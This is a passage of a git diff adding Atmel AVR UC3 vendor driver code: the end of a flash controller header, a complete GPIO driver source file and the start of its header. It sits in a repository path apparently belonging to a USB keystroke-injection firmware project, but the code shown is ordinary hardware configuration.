to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset8(volatile void *dst, U8 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source half-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source half-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset16(volatile void *dst, U16 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset32(volatile void *dst, U32 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source double-word. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memset64(volatile void *dst, U64 src, size_t nbytes, Bool erase); + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the repeated \a src big-endian source pattern. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Source double-word. + * \param src_width \a src width in bits: 8, 16, 32 or 64. + * \param nbytes Number of bytes to set. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +#define flashc_memset(dst, src, src_width, nbytes, erase) \ + TPASTE2(flashc_memset, src_width)((dst), (src), (nbytes), (erase)) + +/*! \brief Copies \a nbytes bytes to the flash destination pointed to by \a dst + * from the source pointed to by \a src. + * + * The destination areas that are not within the flash array or the User page + * are ignored. + * + * All pointer and size alignments are supported. + * + * \param dst Pointer to flash destination. + * \param src Pointer to source data. + * \param nbytes Number of bytes to copy. + * \param erase Whether to erase before writing: \c true or \c false. + * + * \return The value of \a dst. + * + * \warning If copying takes place between areas that overlap, the behavior is + * undefined. + * + * \warning This function may be called with \a erase set to \c false only if + * the destination consists only of erased words, i.e. this function + * can not be used to write only one bit of a previously written word. + * E.g., if \c 0x00000001 then \c 0xFFFFFFFE are written to a word, the + * resulting value in flash may be different from \c 0x00000000. + * + * \warning A Lock Error is issued if the command is applied to pages belonging + * to a locked region or to the bootloader protected area. + * + * \note The FLASHC error status returned by \ref flashc_is_lock_error and + * \ref flashc_is_programming_error is updated. + */ +extern volatile void *flashc_memcpy(volatile void *dst, const void *src, size_t nbytes, Bool erase); + +#if UC3C + +/*! \brief Depednding to the CPU frequency, set the wait states of flash read + * accesses and enable or disable the High speed read mode. + * + * \param cpu_f_hz The CPU frequency + */ +void flashc_set_flash_waitstate_and_readmode(unsigned long cpu_f_hz); +#endif // UC3C device-specific implementation + +//! @} + + +#endif // _FLASHC_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.c b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.c new file mode 100644 index 0000000..194c26d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.c @@ -0,0 +1,635 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#include "gpio.h" + +//! GPIO module instance. +#define GPIO AVR32_GPIO + + +/*! \name Peripheral Bus Interface + */ +//! @{ + + +int gpio_enable_module(const gpio_map_t gpiomap, uint32_t size) +{ + int status = GPIO_SUCCESS; + uint32_t i; + + for (i = 0; i < size; i++) + { + status |= gpio_enable_module_pin(gpiomap->pin, gpiomap->function); + gpiomap++; + } + + return status; +} + + +int gpio_enable_module_pin(uint32_t pin, uint32_t function) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the correct function. + switch (function) + { + case 0: // A function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 1: // B function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 2: // C function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + + case 3: // D function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pmr2c = 1 << (pin & 0x1F); +#endif + break; + +#if defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + case 4: // E function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 5: // F function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1c = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 6: // G function. + gpio_port->pmr0c = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; + + case 7: // H function. + gpio_port->pmr0s = 1 << (pin & 0x1F); + gpio_port->pmr1s = 1 << (pin & 0x1F); + gpio_port->pmr2s = 1 << (pin & 0x1F); + break; +#endif + + default: + return GPIO_INVALID_ARGUMENT; + } + + // Disable GPIO control. + gpio_port->gperc = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_enable_gpio(const gpio_map_t gpiomap, uint32_t size) +{ + uint32_t i; + + for (i = 0; i < size; i++) + { + gpio_enable_gpio_pin(gpiomap->pin); + gpiomap++; + } +} + + +void gpio_enable_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->oderc = 1 << (pin & 0x1F); + gpio_port->gpers = 1 << (pin & 0x1F); +} + + +// The open-drain mode is not synthesized on the current AVR32 products. +// If one day some AVR32 products have this feature, the corresponding part +// numbers should be listed in the #if below. +// Note that other functions are available in this driver to use pins with open +// drain in GPIO mode. The advantage of the open-drain mode functions over these +// other functions is that they can be used not only in GPIO mode but also in +// module mode. +#if 0 + + +void gpio_enable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_open_drain(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->odmerc = 1 << (pin & 0x1F); +} + + +#endif + + +void gpio_enable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + gpio_port->pderc = 1 << (pin & 0x1F); +#endif +} + + +void gpio_disable_pin_pull_up(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); +} + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) +// Added support of Pull-up Resistor, Pull-down Resistor and Buskeeper Control. + +/*! \brief Enables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the pull-down resistor of a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_pull_down(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->pderc = 1 << (pin & 0x1F); +} + +/*! \brief Enables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_enable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puers = 1 << (pin & 0x1F); + gpio_port->pders = 1 << (pin & 0x1F); +} + +/*! \brief Disables the buskeeper functionality on a pin. + * + * \param pin The pin number. + */ +void gpio_disable_pin_buskeeper(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->puerc = 1 << (pin & 0x1F); + gpio_port->pderc = 1 << (pin & 0x1F); +} + +#endif + +void gpio_configure_pin(uint32_t pin, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = 1 << (pin & 0x1F); + else + gpio_port->puerc = 1 << (pin & 0x1F); + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = 1 << (pin & 0x1F); + else + gpio_port->odmerc = 1 << (pin & 0x1F); + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = 1 << (pin & 0x1F); + else + gpio_port->pderc = 1 << (pin & 0x1F); +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = 1 << (pin & 0x1F); + else + gpio_port->odcr0c = 1 << (pin & 0x1F); + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = 1 << (pin & 0x1F); + else + gpio_port->odcr1c = 1 << (pin & 0x1F); +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = 1 << (pin & 0x1F); + else + gpio_port->ovrc = 1 << (pin & 0x1F); + gpio_port->oders = 1 << (pin & 0x1F); + } else { + gpio_port->oderc = 1 << (pin & 0x1F); + } + + /* Enable GPIO */ + gpio_port->gpers = 1 << (pin & 0x1F); +} + +void gpio_configure_group(uint32_t port, uint32_t mask, uint32_t flags) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + + /* Both pull-up and pull-down set means buskeeper */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_PULL_DOWN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + if (flags & GPIO_PULL_UP) + gpio_port->puers = mask; + else + gpio_port->puerc = mask; + + /* Enable open-drain mode if requested */ +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + if (flags & GPIO_OPEN_DRAIN) + gpio_port->odmers = mask; + else + gpio_port->odmerc = mask; + + if (flags & GPIO_OPEN_DRAIN) + gpio_port->pders = mask; + else + gpio_port->pderc = mask; +#endif + +#if defined(AVR32_GPIO_200_H_INCLUDED) || defined(AVR32_GPIO_210_H_INCLUDED) || defined(AVR32_GPIO_211_H_INCLUDED) || defined(AVR32_GPIO_212_H_INCLUDED) + /* Select drive strength */ + if (flags & GPIO_DRIVE_LOW) + gpio_port->odcr0s = mask; + else + gpio_port->odcr0c = mask; + if (flags & GPIO_DRIVE_HIGH) + gpio_port->odcr1s = mask; + else + gpio_port->odcr1c = mask; +#endif + + /* Select interrupt level for group */ + if (flags & GPIO_INTERRUPT) { + if (flags & GPIO_BOTHEDGES) + { + gpio_port->imr0c = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_RISING) + { + gpio_port->imr0s = mask; + gpio_port->imr1c = mask; + } + else if (flags & GPIO_FALLING) + { + gpio_port->imr0c = mask; + gpio_port->imr1s = mask; + } + } + + /* Select direction and initial pin state */ + if (flags & GPIO_DIR_OUTPUT) { + if (flags & GPIO_INIT_HIGH) + gpio_port->ovrs = mask; + else + gpio_port->ovrc = mask; + gpio_port->oders = mask; + } else { + gpio_port->oderc = mask; + } + + /* Enable GPIO */ + gpio_port->gpers = mask; +} + +int gpio_get_pin_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->pvr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ovr >> (pin & 0x1F)) & 1; +} + + +int gpio_get_gpio_open_drain_pin_output_value(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return ((gpio_port->oder >> (pin & 0x1F)) & 1) ^ 1; +} + + +void gpio_set_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_pin_high(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrs = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 1. +} + +void gpio_set_group_high(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrs = mask; // Value to be driven on the I/O group: 1. +} + + +void gpio_set_pin_low(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. +} + +void gpio_clr_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_set_group_low(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrc = mask; // Value to be driven on the I/O group: 0. +} + +void gpio_tgl_gpio_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + +void gpio_toggle_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ovrt = 1 << (pin & 0x1F); // Toggle the I/O line. +} + +void gpio_toggle_group(uint32_t port, uint32_t mask) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[port]; + gpio_port->ovrt = mask; // Toggle the I/O port. +} + +void gpio_set_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->oderc = 1 << (pin & 0x1F); // The GPIO output driver is disabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_clr_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line: 0. + gpio_port->oders = 1 << (pin & 0x1F); // The GPIO output driver is enabled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_tgl_gpio_open_drain_pin(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + gpio_port->ovrc = 1 << (pin & 0x1F); // Value to be driven on the I/O line if the GPIO output driver is enabled: 0. + gpio_port->odert = 1 << (pin & 0x1F); // The GPIO output driver is toggled for that pin. + gpio_port->gpers = 1 << (pin & 0x1F); // The GPIO module controls that pin. +} + + +void gpio_enable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gfers = 1 << (pin & 0x1F); +} + + +void gpio_disable_pin_glitch_filter(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->gferc = 1 << (pin & 0x1F); +} + +/*! \brief Configure the edge detector of an input pin + * + * \param pin The pin number. + * \param mode The edge detection mode (\ref GPIO_PIN_CHANGE, \ref GPIO_RISING_EDGE + * or \ref GPIO_FALLING_EDGE). + * + * \return \ref GPIO_SUCCESS or \ref GPIO_INVALID_ARGUMENT. + */ +static int gpio_configure_edge_detector(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Configure the edge detector. + switch (mode) + { + case GPIO_PIN_CHANGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_RISING_EDGE: + gpio_port->imr0s = 1 << (pin & 0x1F); + gpio_port->imr1c = 1 << (pin & 0x1F); + break; + + case GPIO_FALLING_EDGE: + gpio_port->imr0c = 1 << (pin & 0x1F); + gpio_port->imr1s = 1 << (pin & 0x1F); + break; + + default: + return GPIO_INVALID_ARGUMENT; + } + + return GPIO_SUCCESS; +} + + +int gpio_enable_pin_interrupt(uint32_t pin, uint32_t mode) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + + // Configure the edge detector. + if(GPIO_INVALID_ARGUMENT == gpio_configure_edge_detector(pin, mode)) + return(GPIO_INVALID_ARGUMENT); + + // Enable interrupt. + gpio_port->iers = 1 << (pin & 0x1F); + + return GPIO_SUCCESS; +} + + +void gpio_disable_pin_interrupt(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ierc = 1 << (pin & 0x1F); +} + + +int gpio_get_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + return (gpio_port->ifr >> (pin & 0x1F)) & 1; +} + + +void gpio_clear_pin_interrupt_flag(uint32_t pin) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + gpio_port->ifrc = 1 << (pin & 0x1F); +} + + +//# +//# Peripheral Event System Support. +//# +#if UC3L +int gpio_configure_pin_periph_event_mode(uint32_t pin, uint32_t mode, uint32_t use_igf) +{ + volatile avr32_gpio_port_t *gpio_port = &GPIO.port[pin >> 5]; + + if(true == use_igf) + { + // Enable the glitch filter. + gpio_port->gfers = 1 << (pin & 0x1F); + } + else + { + // Disable the glitch filter. + gpio_port->gferc = 1 << (pin & 0x1F); + } + + // Configure the edge detector. + return(gpio_configure_edge_detector(pin, mode)); +} + +#endif + +//! @} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.h new file mode 100644 index 0000000..9988507 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/drivers/gpio/gpio.h @@ -0,0 +1,680 @@ +/*This file has been prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief GPIO software driver interface for AVR UC3. + * + * - Compiler: GCC and IAR for AVR + * - Supported devices: All AVR UC3 devices with a GPIO module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + *****************************************************************************/ + +/* Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _GPIO_H_ +#define _GPIO_H_ + +#include +#include "compiler.h" + +/*! \name Return Values of the GPIO API + */ +//! @{ +#define GPIO_SUCCESS 0 //!< Function successfully completed. +#define GPIO_INVALID_ARGUMENT 1 //!< Input parameters are out of range. +//! @} + + +/*! \name Interrupt Trigger Modes + */ +//! @{ +#define GPIO_PIN_CHANGE 0 //!< Interrupt triggered upon pin change. +#define GPIO_RISING_EDGE 1 //!< Interrupt triggered upon rising edge. +#define GPIO_FALLING_EDGE 2 //!< Interrupt triggered upon falling edge. +//! @} + +/*! \name Common defines for GPIO_FLAGS parameter + */ +//! @{ +#define GPIO_DIR_INPUT (0 << 0) //!< Pin is Input +#define GPIO_DIR_OUTPUT (1 << 0) //!< Pin is Output +#define GPIO_INIT_LOW (0 << 1) //!< Initial Ouptput State is Low +#define GPIO_INIT_HIGH (1 << 1) //!< Initial Ouptput State is High +#define GPIO_PULL_UP (1 << 2) //!< Pull-Up (when input) +#define GPIO_PULL_DOWN (2 << 2) //!< Pull-Down (when input) +#define GPIO_BUSKEEPER (3 << 2) //!< Bus Keeper +#define GPIO_DRIVE_MIN (0 << 4) //!< Drive Min Configuration +#define GPIO_DRIVE_LOW (1 << 4) //!< Drive Low Configuration +#define GPIO_DRIVE_HIGH (2 << 4) //!< Drive High Configuration +#define GPIO_DRIVE_MAX (3 << 4) //!< Drive Max Configuration +#define GPIO_OPEN_DRAIN (1 << 6) //!< Open-Drain (when output) +#define GPIO_INTERRUPT (1 << 7) //!< Enable Pin/Group Interrupt +#define GPIO_BOTHEDGES (3 << 7) //!< Sense Both Edges +#define GPIO_RISING (5 << 7) //!< Sense Risign Edge +#define GPIO_FALLING (7 << 7) //!< Sense Falling 